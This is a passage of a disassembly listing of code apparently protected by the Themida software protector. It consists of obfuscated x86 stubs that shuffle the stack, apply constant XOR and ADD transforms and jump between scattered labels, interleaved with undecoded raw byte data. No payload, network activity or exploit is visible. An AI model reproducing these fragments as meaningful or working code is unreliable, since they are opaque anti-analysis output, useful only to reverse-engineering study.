		dd 399Fh, 53241489h, 0B22B850h,	0C3891972h, 0F9CB8158h
		dd 81664973h, 557B1AEBh, 5DA6E964h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7192:				; CODE XREF: Themida_:00598A5Bj
		mov	[esp], esp
		jmp	loc_59D5C4
; ---------------------------------------------------------------------------
		dw 0C668h
		dd 8900001Fh, 0EB682434h, 8B63942Eh, 0E9572434h, 0FFFFE316h
; ---------------------------------------------------------------------------


loc_5A71B0:				; CODE XREF: Themida_:005A1C08j
		add	esp, 4
		add	esp, 4
		add	esi, eax
		sub	esi, 58D631BCh
		push	dword ptr [esp]
		jmp	loc_5A3332
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 0FFF479E9h, 0EBC380FFh, 443AE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A71DA:				; CODE XREF: Themida_:005A7AF6j
		mov	edi, ecx
		pop	ecx
		xor	edx, edi
		pop	edi
		push	edi
		mov	edi, 493C368Bh
		xor	edx, edi
		pop	edi
		or	edx, 2DD60DA4h
		sub	edx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0F5CDC433h
		add	edx, ecx
		pop	ecx
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A41B8
; ---------------------------------------------------------------------------
		dd 31241433h, 14332414h, 0F6E95C24h, 1FFFFDFh, 2EBB58C5h
		dd 298268D1h, 0BCE95DEBh, 81FFFF39h, 4ECh, 24048900h, 0A6B7BDB0h
		dd 6658C728h, 88CE8852h, 0E9F788F9h, 0FFFEEF6Fh, 0E0E9D6F7h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7253:				; CODE XREF: Themida_:00595F1Cj
		pop	ecx
		jmp	loc_5A8D57
; ---------------------------------------------------------------------------


loc_5A7259:				; CODE XREF: Themida_:005A55B5j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_59CF05
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 0E95DEF01h, 0FFFF0136h
; ---------------------------------------------------------------------------


loc_5A7278:				; CODE XREF: Themida_:005A657Ej
		mov	esp, [esp]
		jmp	loc_5993E2
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FFFEEDCBh, 4C681h, 0D2E90000h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7293:				; CODE XREF: Themida_:005A6529j
		add	esp, 4
		push	edx
		jmp	loc_5A830C
; ---------------------------------------------------------------------------


loc_5A729F:				; CODE XREF: Themida_:0059F53Cj
		mov	eax, 431F4A09h
		xor	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		jmp	loc_595F47
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8A68F329h, 89000067h, 0C7B82404h, 29426046h,	34FF58C3h
		dd 2434FF24h, 4C4835Eh,	4C481h,	0DBF70000h, 949FB850h
		dd 0EB818F8Fh, 394B60E9h, 0C381C301h, 394B60E9h, 5BD83158h
		dd 1FCDE953h, 0F74EFFFFh, 0FFC681D6h, 81FFFFFFh, 4ECh
		dd 242C8900h, 0D7005BBDh, 2B94E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7312:				; CODE XREF: Themida_:00595FBBj
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A0C97
; ---------------------------------------------------------------------------
		db 68h
		dd 7126h, 51240489h, 0C888F188h, 58C58859h, 0FFD1BAE9h
		dd 5EEC1FFh, 0B044F681h, 0F52973EFh, 81DD295Eh,	0A760CC5h
		dd 6FE95B75h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7353:				; CODE XREF: Themida_:0059B102j
		pop	edi
		jmp	loc_598620
; ---------------------------------------------------------------------------


loc_5A7359:				; CODE XREF: Themida_:0059CFE5j
		add	esp, 4
		jmp	loc_59A1DF
; ---------------------------------------------------------------------------
		db 66h,	52h, 88h
		dd 50D2F6EAh, 55E9D488h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A736F:				; CODE XREF: Themida_:00596629j
		sub	edx, esi
		add	edx, 4EBD3388h
		pop	esi
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_5A0DC0
; ---------------------------------------------------------------------------
		dd 64E95E5Ah, 81FFFFC1h, 25E935EDh, 5DEE0101h, 4321E958h
		dd 0FE29FFFFh, 81243C8Bh, 4C4h,	0FFF58900h, 7FE92434h
		dd 81FFFF7Ch, 0C83554EBh, 0AEB8123h, 0FF40EE67h, 815B5833h
		dd 9E242Ch, 2C815EEAh, 10529C24h, 2404011Ch, 529CBE56h
		dd 74011C10h, 685E0424h, 397Fh,	0BF243C89h, 5EEA009Eh
		dd 2E7A68h, 24048900h, 405E089h, 2D000000h, 4, 5C240487h
		dd 0BA241489h, 0C936FF4h, 8244481h, 22397CAAh, 8245429h
		dd 8904EC83h, 0AABF243Ch, 2922397Ch, 5F0C247Ch,	4490E95Ah
		dd 2DADFFFFh, 37AB6D5Eh, 4EC81h, 99E90000h, 55FFFFE7h
		dd 25107BBDh, 0A1ED811Ah, 31E209BCh, 0C2815DEAh, 0D75C6AFAh
		dd 0E95AD601h, 203Fh, 0CCB60F66h, 69DE68h, 24048900h, 424B68h
		dd 48F5400h, 24048324h,	0F1DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A747A:				; CODE XREF: Themida_:005A9C94j
		sub	ecx, 281D5FEEh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59A977
; ---------------------------------------------------------------------------


loc_5A748B:				; CODE XREF: Themida_:0059C6D9j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5A38AA
; ---------------------------------------------------------------------------


loc_5A7496:				; CODE XREF: Themida_:0059EF63j
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		db 81h
		dd 5A7505EBh, 2434FF5Ch, 4C48358h, 57E9DA01h
		db 1Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A74AF:				; CODE XREF: Themida_:005AA330j
		not	edi
		or	edi, 0B06197Ah
		push	ecx
		mov	ecx, 72320D72h
		jmp	loc_5AA8AF
; ---------------------------------------------------------------------------


loc_5A74C2:				; CODE XREF: Themida_:005A4AE3j
		add	ecx, edi
		pop	edi
		jmp	loc_59A260
; ---------------------------------------------------------------------------


loc_5A74CA:				; CODE XREF: Themida_:00598078j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5A65B1
; ---------------------------------------------------------------------------
		db 4, 0F8h, 4
		dd 0B7536658h, 2604B4h,	66262CF8h, 0E954515Bh, 0FFFF2E7Bh
; ---------------------------------------------------------------------------


loc_5A74EC:				; CODE XREF: Themida_:0059D986j
		mov	ebx, [esp]
		jmp	loc_59C505
; ---------------------------------------------------------------------------
		dd 0EFEE815Eh, 894DCED0h, 0C3815EF5h, 74902E50h, 0BA52EB29h
		dd 3B211C38h, 3268BB53h, 0DA314FB1h, 0E9D3295Bh, 0FFFF636Dh
		dd 4C481h, 0F5810000h, 7B356D55h, 2FE9EF89h, 81FFFF83h
		dd 175768E1h, 0E9D1F766h, 0FFFFCC8Eh
; ---------------------------------------------------------------------------


loc_5A753C:				; CODE XREF: Themida_:0059FD5Cj
		pop	edx
		sub	edx, 50E41673h
		shr	edx, 6
		jmp	loc_5A3B18
; ---------------------------------------------------------------------------
		db 9
		dd 0E99C2404h, 0FFFEE938h, 4FE9C229h, 0C3FFFFEEh, 0FEE92BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7561:				; CODE XREF: Themida_:0059C802j
		add	eax, 0C0C7F4D8h
		and	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 0A95393B5h
		sub	ecx, 5B59265Fh
		sub	ecx, ebx
		add	ecx, 5B59265Fh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A09AB
; ---------------------------------------------------------------------------
		dd 7FE9C1FEh, 81FFFF64h, 89038CE6h, 51F68152h, 1611739h
		dd 0FD4EE9F2h, 0E95BFFFEh, 0FFFFEDBBh, 5C240487h, 53242489h
		dd 4BBh, 245C0100h, 0D26DE904h,	8CBEFFFFh, 0E9677861h
		dd 0FFFFE80Fh
; ---------------------------------------------------------------------------


loc_5A75D0:				; CODE XREF: Themida_:0059B707j
		mov	edx, [esp]
		jmp	loc_59ACA4
; ---------------------------------------------------------------------------


loc_5A75D8:				; CODE XREF: Themida_:005A369Bj
		push	ecx
		push	esi
		mov	esi, 4C692637h
		mov	ecx, esi
		pop	esi
		xor	edx, ecx
		pop	ecx
		add	edx, 0AA97F8F9h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A687A
; ---------------------------------------------------------------------------
		dd 0CC43032Dh, 0ABA5263h, 4A22E10Fh, 0D2E94A42h, 81FFFF39h
		dd 0DB497AC6h, 0F0895B01h, 0FF3104E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7619:				; CODE XREF: Themida_:005A8117j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59F60D
; ---------------------------------------------------------------------------
aHn		db '\hn<',0
		align 4
		dd 0FF512AE9h, 4C483FFh, 0FF4346E9h, 2DD001FFh,	41B05C09h
		dd 3B0A342Dh, 2434FF45h, 0E089505Ah, 405h, 40500h, 4870000h
		dd 4875C24h, 24248B24h,	0FF0683E9h, 81D7F7FFh, 0FFDFF1F7h
		dd 75EE81FFh, 1140A0Ch,	75C681FEh, 5F140A0Ch, 0C0BF5751h
		dd 0C131A17Ch, 0BA5206EFh, 0C685F1h, 0E95AD729h, 0FFFFEFFBh
		dd 1F6EE95Ah, 30AC0000h, 2EC83D8h, 0FF46BDE9h, 68FFh, 2C810000h
		dd 7B1D8724h, 240C2921h, 87240481h, 59217B1Dh, 0F381CB87h
		dd 0F8049F0Fh, 505BD889h, 72240481h, 5E5BB500h,	0FF1D2CE9h
		dd 4C481FFh, 42000000h,	16ADB951h, 0EEE96142h, 81FFFF56h
		dd 4C7h, 0E917E900h, 6858FFFFh,	54C0h, 0E9241C89h, 0FFFEF289h
; ---------------------------------------------------------------------------


loc_5A76FC:				; CODE XREF: Themida_:005A2AD4j
		add	eax, 0EE17D0E9h
		mov	ebp, eax
		pop	eax
		push	2C06h
		mov	[esp], edi
		push	ebp
		push	edx
		mov	edx, 66025CF3h
		push	eax
		mov	eax, 544E5682h
		jmp	loc_5A20DC
; ---------------------------------------------------------------------------


loc_5A771E:				; CODE XREF: Themida_:005A3BC7j
		add	edx, 60671E84h
		jmp	loc_598298
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Ah, 57B1BA52h,	0E28145F1h, 7044726Ch, 0CA81D2F7h
		dd 3D674B66h, 4DE9D2F7h, 2CFFFF6Ch, 58C18814h, 5966CC28h
		dd 0E958E728h, 0FFFF6D48h
; ---------------------------------------------------------------------------


loc_5A775C:				; CODE XREF: Themida_:0059CAAFj
		add	edi, 0BF1986CCh
		xor	esi, edi
		pop	edi
		jmp	loc_5A6228
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFF280Bh, 3E6E68h,	243C8900h, 4BFh, 443A6800h, 0C890000h
		dd 4815724h, 6B551C24h,	0E9815971h, 716B551Ch, 0FF599BE9h
		dd 42D587FFh, 0BE56D587h, 0A673AFCEh, 0FF5220E9h, 4C481FFh
		dd 0E9000000h, 0FFFF2B09h, 81E18951h, 4C1h, 4E98300h, 5C240C87h
		dd 0BF243C89h, 1, 0FFF835E9h, 348B5BFFh, 0DE7FE924h, 34FFFFFFh
		dd 2434FF24h, 7F4C6858h, 3C890000h, 49D56824h, 24890000h
		dd 24048124h, 4, 9424E95Fh, 0EC83FFFFh,	240C8904h, 4E2EA5B9h
		dd 0F9BA526Ah, 2155A26Ah, 0F2AEE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7816:				; CODE XREF: Themida_:0059EBABj
		mov	esi, 32234674h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	24BBh
		mov	[esp], edx
		push	ecx
		push	edx
		mov	edx, 146972B8h
		shr	edx, 1
		jmp	loc_59E3FA
; ---------------------------------------------------------------------------
		db 43h,	81h, 0CBh
		dd 5A9C645Ah, 7C08EB81h, 0E3C13798h, 0FDF38108h, 8118DE0Dh
		dd 18CC42F3h, 5BDE2129h, 0C681DEF7h, 0A9436F98h, 895EF589h
		dd 0F6E95DEFh, 0BAFFFF5Bh, 759340D7h, 40D5F281h, 0D7897593h
		dd 0C3C6815Ah, 8168DC33h, 0EC0DB4EEh, 81FE013Bh, 0EC0DB4C6h
		dd 0C3EE813Bh, 0FF68DC33h, 3C8B2434h, 4C48324h,	5604C483h
		dd 42474FFh, 0F1F8E95Eh, 0E883FFFFh, 24048704h,	8924248Bh
		dd 5954240Ch, 8904EC83h, 7FB82404h, 5564D00Ah, 2E6AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A78C9:				; CODE XREF: Themida_:00597872j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_5A6466
; ---------------------------------------------------------------------------


loc_5A78DA:				; CODE XREF: Themida_:005A1E2Dj
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_59EDD5
; ---------------------------------------------------------------------------


loc_5A78F1:				; CODE XREF: Themida_:0059C1E3j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	ecx, edi
		pop	edi
		shr	ecx, 6
		jmp	loc_5A2E8D
; ---------------------------------------------------------------------------
		db 0E9h, 7Ah, 0E5h
		dd 2966FFFEh, 0EB8166D3h, 81660D27h, 66076AEBh,	0C0B70F5Ah
		dd 646A6866h, 0FF150FE9h, 1C77FFFFh, 0D359669Dh, 0E99C2414h
		dd 2E6Ch
; ---------------------------------------------------------------------------


loc_5A793C:				; CODE XREF: Themida_:005A8FB7j
		mov	[esp], esp
		jmp	loc_5A7149
; ---------------------------------------------------------------------------
		dd 6824148Bh, 307Eh, 54241C89h,	54BA525Bh, 0E926F75Ah
		dd 0C51h, 63C6815Dh, 0E940150Ch, 0FFFFCA00h, 51243C89h
		dd 0CF89C189h, 4FE36859h, 1C890000h, 49B66824h,	34890000h
		dd 81E68924h, 4C6h, 4EE8300h, 31243433h, 34332434h, 24248B24h
		dd 5B243C89h, 24048153h, 1FC865D9h, 65D92D58h, 1C8B1FC8h
		dd 4EC8124h, 89000000h,	0E6892434h, 1E27BF57h, 0E78169FFh
		dd 1E1F247Ah, 0FBE2C781h, 0FE01F7E0h, 4C6815Fh,	56000000h
		dd 42474FFh, 8324348Bh,	48F04C4h, 34FF5C24h
		db 24h,	5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_59FAAA
; ---------------------------------------------------------------------------
		dw 8158h
		dd 0F35B1BC2h, 52F2815Fh, 0C12B6F02h, 0F28106E2h, 7BAC60F1h
		dd 815AD631h, 0BF63D1F6h, 8BF3893Ch, 0C4812434h, 4, 7DA3B850h
		dd 0F7402B50h, 6D5A25D8h, 2054E07h, 1FBBC22h, 24048BC3h
		dd 0C104C483h, 0F16807EBh, 89000053h, 14F7241Ch, 8FE95B24h
		dd 6600001Ch, 0C1EB8058h, 2843ED80h, 43C580DDh,	5B2434FFh
		dd 0E904C483h, 237Ah, 0E99CC138h, 0FFFEE424h
; ---------------------------------------------------------------------------


loc_5A7A68:				; CODE XREF: Themida_:0059FA34j
		add	ebp, 1CB17910h
		jmp	loc_5AA077
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 1ABE5600h, 8132D13Ch, 1EEh, 1DF68100h,	132D13Ch
		dd 42E95EF1h, 0F7FFFF28h, 68582414h, 6959h, 0BE243489h
		dd 68390137h, 0FF62B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7AA9:				; CODE XREF: Themida_:0059645Fj
		pop	esp
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		push	5AFBh
		mov	[esp], eax
		push	7338h
		jmp	loc_5A6CD3
; ---------------------------------------------------------------------------


loc_5A7AC2:				; CODE XREF: Themida_:005964E6j
		and	ecx, esi
		pop	esi
		and	ecx, 29C55FD1h
		dec	ecx
		push	ebx
		push	edi
		mov	edi, 2DBD2656h
		push	esi
		mov	esi, 53A162BDh
		neg	esi
		shl	esi, 8
		jmp	loc_5A6899
; ---------------------------------------------------------------------------


loc_5A7AE3:				; CODE XREF: Themida_:005A8403j
		push	edi
		push	ecx
		mov	ecx, 2D8A63B2h
		shl	ecx, 6
		shl	ecx, 7
		sub	ecx, 0D4073003h
		jmp	loc_5A71DA
; ---------------------------------------------------------------------------


loc_5A7AFB:				; CODE XREF: Themida_:005A51E8j
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		jmp	loc_59BA21
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 74FF5304h, 1C8B0424h, 4C48324h, 8B24048Fh, 0BE92424h
		dd 89FFFEE8h, 14F7241Ch, 0BD555B24h, 4F153DD6h,	0BAE9EB29h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A7B33:				; CODE XREF: Themida_:005A2F0Ej
		push	41A71F4Ah
		jmp	loc_596CE6
; ---------------------------------------------------------------------------


loc_5A7B3D:				; CODE XREF: Themida_:005A1E0Cj
		sub	al, 9Eh
		sub	al, 0F1h
		add	al, bl
		jmp	loc_59B0D0
; ---------------------------------------------------------------------------


loc_5A7B48:				; CODE XREF: Themida_:0059F62Cj
		sub	esp, 4
		jmp	loc_5A7E51
; ---------------------------------------------------------------------------
		db 21h
		dd 0DFF75DEFh, 0FF5DBDE9h, 0E9C380FFh, 0FF7568E9h, 240483FFh
		dd 241C8B04h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A2A58
; ---------------------------------------------------------------------------


loc_5A7B87:				; CODE XREF: Themida_:0059813Aj
		add	esi, ecx
		pop	ecx
		jmp	loc_599560
; ---------------------------------------------------------------------------


loc_5A7B8F:				; CODE XREF: Themida_:0059A1CFj
		mov	edx, 7D251515h
		mov	esi, 0E84B4C79h
		jmp	loc_5A9D48
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4DABE924h, 2FBDFFFFh, 2995B4B6h, 0F7015DEEh,	5E2434FFh
		dd 56E78957h, 6B54E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7BBE:				; CODE XREF: Themida_:005A8E47j
		push	eax
		jmp	loc_5A58D2
; ---------------------------------------------------------------------------
		dd 0DF6A110Dh, 41E94816h, 81FFFF37h, 4C1h, 54F6E900h, 0E95CFFFFh
		dd 3225h, 0DE9EB01h, 0F7FFFF9Fh, 40D0F7D8h, 2C82E9h, 4EC8100h
		dd 89000000h, 2E9240Ch
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7BFF:				; CODE XREF: Themida_:00599A99j
		xchg	ecx, [esp]
		jmp	loc_59DD91
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0C085E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7C12:				; CODE XREF: Themida_:00597BF0j
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	778Eh
		mov	[esp], esi
		push	esp
		jmp	loc_5A2C59
; ---------------------------------------------------------------------------


loc_5A7C26:				; CODE XREF: Themida_:005AA028j
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_598070
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 4
		push	ebx
		add	dword ptr [esp], 10DA4D4Ch
		pop	esi
		jmp	loc_59DC85
; ---------------------------------------------------------------------------
		dd 24348156h, 0AF00750h, 18EAE95Ah, 29BB0000h, 534D8110h
		dd 0D96F79BBh, 245C2924h, 6C815B08h, 1F5B0424h,	6C8149DEh
		dd 58E30424h, 4DE90D42h
		db 0Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7C8F:				; CODE XREF: Themida_:005A0EA7j
		add	esp, 4
		push	edi
		push	ebx
		mov	ebx, 1B332E23h
		mov	edi, ebx
		pop	ebx
		xor	ebx, edi
		pop	edi
		sub	edi, 29B40EC2h
		jmp	loc_59EE95
; ---------------------------------------------------------------------------
		db 50h,	0B0h, 54h
		dd 0FEF31DE9h, 1043BDFFh, 0E5C17BE9h, 0E7CD8102h, 8106F137h
		dd 942AECC5h, 8AED814Bh, 136026Ch, 0C2E95DE8h, 83FFFF41h
		dd 0E95104E9h, 0FFFFF444h, 8006E9C0h, 0E1C090E1h, 51CDE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7CEE:				; CODE XREF: Themida_:005A812Bj
		add	edx, 2867161Ah
		add	edx, 46C68235h
		mov	edi, edx
		push	dword ptr [esp]
		jmp	loc_5A9A30
; ---------------------------------------------------------------------------
		dd 24148966h, 0FFEDC0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7D0D:				; CODE XREF: Themida_:0059CEB6j
		push	7438h
		mov	[esp], ebp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5A4F75
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 0FFFFAF9Bh
; ---------------------------------------------------------------------------


loc_5A7D2C:				; CODE XREF: Themida_:005AA108j
		push	ecx
		mov	ecx, 4
		add	edx, 4E7A1BEEh
		jmp	loc_5A4361
; ---------------------------------------------------------------------------


loc_5A7D3D:				; CODE XREF: Themida_:00599136j
		pop	esi
		or	edi, 7967134Dh
		sub	edi, 549473ADh
		jmp	loc_59B156
; ---------------------------------------------------------------------------
		db 0BFh
		dd 332D7174h, 0CB1AF781h, 0F82984C4h, 58C3295Fh, 471768h
		dd 72E900h, 1DE9FFFFh, 53FFFEE1h, 0CB8063B3h, 64F38082h
		dd 0EB80D3F6h, 5BDC889Ch, 8007EC80h, 0E1282CC4h, 0FF21D8E9h
		dd 4C281FFh, 83000000h,	148704C2h, 24248B24h, 0FF1C4F21h
		dd 0E9592434h, 0FFFFE03Dh
; ---------------------------------------------------------------------------


loc_5A7DA8:				; CODE XREF: Themida_:0059A055j
		pop	ebp
		jmp	loc_5A9181
; ---------------------------------------------------------------------------


loc_5A7DAE:				; CODE XREF: Themida_:005A00DAj
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		push	ecx
		push	7AA64C78h
		pop	ecx
		xor	ecx, 7AA64C7Ch
		mov	ebx, ecx
		jmp	loc_59B734
; ---------------------------------------------------------------------------
		dd 1240481h, 8B000000h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 52E042D0h
		add	ebx, esi
		pop	esi
		inc	ebx
		shr	ebx, 5
		neg	ebx
		jmp	loc_59D3AE
; ---------------------------------------------------------------------------
		db 81h
		dd 0FF5114EEh, 83FE2971h, 11E904ECh, 51FFFF57h,	0FF3FF9E9h
		dd 24348BFFh, 0FF2B42E9h, 0BF5745FFh, 65673634h, 6527E781h
		dd 0E947031Ch, 0FFFF117Bh, 24048966h, 42E96EB4h, 0B6FFFF5Dh
		dd 80CBB3ACh, 0F3004AEBh, 5A4AC380h, 0FF3162E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7E51:				; CODE XREF: Themida_:005A7B4Ej
		mov	[esp], ebp
		mov	ebp, 196F7D50h
		sub	eax, ebp
		pop	ebp
		push	esi
		jmp	loc_59815B
; ---------------------------------------------------------------------------
		dw 835Dh
		dd 0FF5304C3h, 5B042474h, 0FFC9B6E9h, 0E9FB01FFh, 0FFFF3A26h
		dd 4C481h, 89530000h, 4C381E3h,	68000000h, 6061h, 0B8240489h
		dd 4, 63A5C381h, 0C30171C8h, 63A5EB81h,	0E971C8h, 81FFFF97h
		dd 4ECh, 24048900h, 0C92B01B8h,	0E9C20115h, 0FFFF3BCBh
; ---------------------------------------------------------------------------


loc_5A7EBC:				; CODE XREF: Themida_:0059704Aj
		mov	edi, 71608EACh
		xor	eax, edi
		pop	edi
		add	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_59D162
; ---------------------------------------------------------------------------
		dd 66515A66h, 8AD08850h, 88032454h, 66032444h, 83CAFE58h
		dd 0FFE904ECh
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7EF7:				; CODE XREF: Themida_:005A5C89j
		add	ecx, ebp
		jmp	loc_597A04
; ---------------------------------------------------------------------------


loc_5A7EFE:				; CODE XREF: Themida_:005AA9E4j
		mov	ecx, 15E412C8h
		xor	[esp+4], ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 7F557175h
		sub	ebx, 7F557171h
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_5AA6C5
; ---------------------------------------------------------------------------
		db 53h
		dd 38C8B951h, 0E1C151FAh, 94E98106h, 8140C27Ah,	4E363AC1h
		dd 5E1C16Eh, 0FFC986E9h, 0DCEB81FFh, 2101FB1Fh,	9CA8E9DFh
		dd 1489FFFFh, 0F675B624h, 76E680DEh, 0C6FECEFEh, 583D68h
		dd 24048900h, 0B037B652h, 5AF0280Dh, 80D5B151h,	0D5E955E9h
		dd 89FFFFD6h, 4C181E1h,	83000000h, 0C8704E9h, 0A0E95C24h
		db 0FBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A7F8B:				; CODE XREF: Themida_:0059CB3Bj
		mov	ebx, [esp]
		jmp	loc_5994B4
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 0DD6FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7F9E:				; CODE XREF: Themida_:005A8086j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_59F216
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 87000000h, 895C2434h, 0E589242Ch, 4C581h, 0ED830000h
		dd 9BE95504h, 5FFFFFC1h, 4C481h, 0C7810000h, 4,	5704C783h
		dd 42474FFh, 33FCE9h, 24043100h, 8B240433h, 89662424h
		dd 0BDE9240Ch, 6800000Eh, 1ACDh, 68241489h, 458F7F92h
		dd 5AD6315Ah, 3FA6BA52h, 0D63130C2h, 5EF3295Ah,	24E9575Fh
		dd 81FFFF4Eh, 0E6E30C3h, 0F38DE977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8026:				; CODE XREF: Themida_:005A826Bj
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_5975F8
; ---------------------------------------------------------------------------
		dd 5112BD55h, 0EB010F38h, 3D68555Dh, 5D579653h,	278A68h
		dd 243C8900h, 671CF9BFh, 76C38172h, 0E973CF23h,	0FFFF7863h
		dd 3D5DE981h, 0CA016306h, 2434FF59h, 0FF7C77E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8069:				; CODE XREF: Themida_:0059C455j
		add	esp, 4
		xor	ebp, 8A040060h
		push	edx
		mov	edx, ebp
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		pop	ebp
		and	ecx, esi
		push	dword ptr [esp]
		jmp	loc_5A7F9E
; ---------------------------------------------------------------------------
		db 31h
		dd 0E95258C5h, 0FFFF3DDFh
; ---------------------------------------------------------------------------


loc_5A8094:				; CODE XREF: Themida_:005A2B99j
		pop	esp
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		mov	eax, [esp]
		push	26B8h
		mov	[esp], edx
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A6ADE
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E0892404h, 405h,	4E88300h, 8B240487h, 0C892424h
		dd 51C18824h, 0C181E189h, 4, 0EB91E953h, 815BFFFEh, 0C9616DEBh
		dd 81EB015Ah, 0C9616DC3h, 0BE4BE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8106:				; CODE XREF: Themida_:0059D3ECj
		add	esp, 4
		add	ecx, 71802723h
		add	ecx, eax
		sub	ecx, 71802723h
		jmp	loc_5A7619
; ---------------------------------------------------------------------------


loc_5A811C:				; CODE XREF: Themida_:00599B36j
		mov	[esp], edx
		push	ecx
		mov	ecx, 652F717Ch
		mov	edx, ecx
		pop	ecx
		shl	edx, 2
		jmp	loc_5A7CEE
; ---------------------------------------------------------------------------
		dd 58C6895Dh, 737DF681h, 0CE810562h, 202C42ADh,	0BD55DEF7h
		dd 0
		dd 0EE89F529h, 0DFE6815Dh, 81184734h, 0B44BB6F6h, 467DBF3Eh
		dd 0F7311A59h, 0FF41DCE9h, 242489FFh, 4240483h,	0B4BD555Eh
		dd 5372A31Fh, 0FF03B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8179:				; CODE XREF: Themida_:00598B5Aj
		and	ecx, edi
		push	dword ptr [esp]
		jmp	loc_597EF0
